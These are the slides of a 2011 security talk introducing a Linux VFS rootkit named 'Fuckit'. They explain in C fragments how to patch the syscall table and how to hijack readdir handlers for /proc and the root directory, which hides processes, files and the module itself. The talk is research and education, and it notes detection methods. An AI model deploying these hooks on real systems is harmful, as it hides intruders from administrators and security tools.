1. Linux rootkits without syscall patching,
(the VFS way)
Confraria SECURITY & IT – 28 Set 2011
2. #> whoami
§ Ricardo Mourato – 25 yo
§ Computer Science Degree
§ InfoSec & SuperBock Stout addicted
§ OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic
§ Java, .Net, Python, Ruby, C, C++, ASM Lover
§ Windows (All versions) , Perl (All versions) and Printers (Yes,
they came from hell !) hater
§ root, right here :)
2
3. Agenda
§ Linux rootkits – brief talk
§ Linux 2.{5,6} kernel – what changed ?
§ The Virtual Filesystem (VFS)
§ Meet /proc, our friend!
§ Introducing
§ Show time J
§ Retrospect
§ Questions & Answers
3
4. Linux rootkits – how they were?
§ In the beginning…
§ User-land Trojaned binaries mostly
§ Easy to spot
§ Easy to code
§ However, hard to hide!
§ LRK5 was a good bastard…
4
5. Linux rootkits – how they were?
§ Not so far away…
§ The Kernel-land approach
§ Loadable Kernel Modules or /dev/kmem “patching”
§ Syscall patching
§ Easy to code
§ Less easy to find
Adore & suckit were also good bastards!
5
6. Linux rootkits – how they were?
extern void *sys_call_table[];
int init_module(void) {
original_call = sys_call_table[__NR_open];
sys_call_table[__NR_open] = evil_open;
return 0;
}
6
7. Linux 2.{5,6} – what changed?
§ Main change:
§ OMG! sys_call_table[] no longer exported!!!
§ Even if you find it, it will be read-only
§ Workaround:
§ Find IDT
§ Find the 0x80 interrupt
§ Get the system_call() function location
§ Use gdb kung fu and search memory for sys_call_table[] within
this function
7
9. The Virtal Filesystem
§ Is the primary interface to underlying filesystems (common file model)
§ Exports a set of interfaces for every individual filesystem
§ Each filesystem must “implement” this interface in order to become a
common file model
§ Some interesting players are:
§ struct dentry;
§ struct file_operations;
§ struct inode_operations;
9
10. /proc is our friend
§ So… everything in linux “is a file” right?
§ Including the ones located at /proc even if “in memory”
§ And… most user-land tools rely on /proc to get information!
§ This tools include:
§ ps
§ netstat
§ top
§ mount
§ And many, many others…
§ Remember struct file_operations ? J
10
11. Introducing Fuckit…
§ Fu Control Kit (just in case!)
§ A research born VFS rootkit capable of:
§ Hide itself ß No sh*t sherlock?
§ Hide processes
§ Hide files and directories
§ TTY sniffing
11
12. Module hiding
§ Modules are linked together in a double link list maintained by the
kernel
§ The kernel have internal functions to “unlink” the unloaded modules
from the list
§ Just use them wisely J
12
14. “Hook” the Virtual Filesystem (/proc)
static struct file_operations *proc_fops; ß remember again? J
void hook_proc(void){
/* we are not /proc yet */
key = create_proc_entry(KEY,0666,NULL);
/* now we become /proc :) */
proc = key->parent;
/* save the original, we will need it later*/
proc_fops = (struct file_operations *)proc->proc_fops;
original_proc_readdir = proc_fops->readdir;
/* tha hook */
proc_fops->readdir = fuckit_proc_readdir;
}
14
15. “Hook” the Virtual Filesystem (/)
static struct file *f;
int hook_root(void){
f = filp_open("/",O_RDONLY,0600);
if(IS_ERR(f)){
return -1;
}
original_root_readdir = f->f_op->readdir;
f->f_op->readdir=fuckit_root_readdir;
filp_close(f,NULL);
return 0;
}
15
16. Process hiding
static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type){
//our hidden PID :)
if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){
return 0;
}
return original_filldir(__buf,name,namelen,offset,ino,d_type);
}
static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later
original_filldir = filldir;
return original_proc_readdir(filp,dirent,fuckit_proc_filldir);
}
16
17. File and Directory hiding
static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino,
unsigned d_type){
//if is our hidden file/directory return nothing! :)
if(strncmp(name,HIDDEN_DIR,namelen)==0){
return 0;
}
return original_root_filldir(__buf,name,namelen,offset,ino,d_type);
}
static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){
//save this, we will need to return it later
original_root_filldir = filldir;
return original_root_readdir(filp,dirent,fuckit_root_filldir);
}
17
19. Retrospect
§ Syscall patching in 2.6 kernel is a true “pain in the a**”
§ VFS hooks, they also do the job!
§ It is a good approach, however it has some cons
§ It is possible to “brute force” /proc for hidden pids
§ You should let the Linux scheduler do this job!
§ Hypervisor rootkits will kill -9 every kernel rookits on earth! J
19
20. References
§ IBM developerWorks “Anatomy of the Linux filesystem”. Internet:
http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/.
[Jan 25, 2011]
§ WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]
§ Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan
25, 2011]
§ Ubra “Process Hiding & The Linux scheduler”. Internet:
http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]
20